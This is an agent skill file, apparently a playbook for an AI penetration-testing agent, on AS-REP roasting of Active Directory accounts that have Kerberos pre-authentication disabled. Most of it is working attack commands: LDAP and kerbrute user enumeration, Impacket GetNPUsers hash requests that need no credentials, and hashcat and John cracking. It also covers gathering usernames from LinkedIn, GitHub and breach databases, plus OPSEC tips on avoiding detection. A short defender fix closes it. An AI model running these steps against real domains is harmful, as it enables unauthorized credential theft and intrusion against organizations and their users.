asrep-roasting - SKILL.md Agent Skill

name: asrep-roasting description: Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required. metadata: subdomain: active-directory when_to_use: "asrep as-rep roasting kerberos pre-auth dontreqpreauth" mitre_attack: - T1558.004

AS-REP Roasting Playbook

Prerequisite

None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).

1. Identify vulnerable users

From BloodHound:

kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")

Direct LDAP (if you have any cred or anonymous-bind allowed):

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
  sAMAccountName

Or brute-force user discovery (only when no LDAP access):

# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt

2. Request AS-REP

Impacket (zero-auth path):

GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
  -format hashcat -no-pass -outputfile /tmp/asrep.hashes

With creds (more reliable, also enum):

GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -format hashcat -outputfile /tmp/asrep.hashes

Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).

3. Crack offline (hashcat mode 18200)

hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes

AS-REP-roastable users tend to be:

Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
Test / dev accounts with weak passwords
Accounts created from a misconfigured PowerShell script

Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.

4. Userlist sources when zero-auth

Without LDAP, your userlist comes from:

kerbrute userenum against common lists (jsmith.txt, statistically-common-usernames)
LinkedIn scrape → format conversion (firstname.lastname, flastname)
Github commit emails from company orgs
Email leaks (HIBP, Dehashed if op-authorized)
Subdomain enumeration → username patterns in metadata

5. Promote

kg_add_node(kind="credential", label="USER:CRACKED_PW",
            props={"source":"asrep-roast","preauth":"disabled"})

OPSEC

AS-REQ without pre-auth is event 4768 on the DC
Defender's tell: 4768 with Pre-Authentication Type=0 (no preauth)
Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows
A single AS-REP request per known user is quieter than enumeration

CVSS

Multiple roastable + crackable: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (PR:N because no creds needed)
One roastable, uncrackable: Informational + fix recommendation

Defender fix

Remove DONT_REQ_PREAUTH flag:

Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false

Audit policy: UserAccountControl & 0x400000 should be zero on all real users.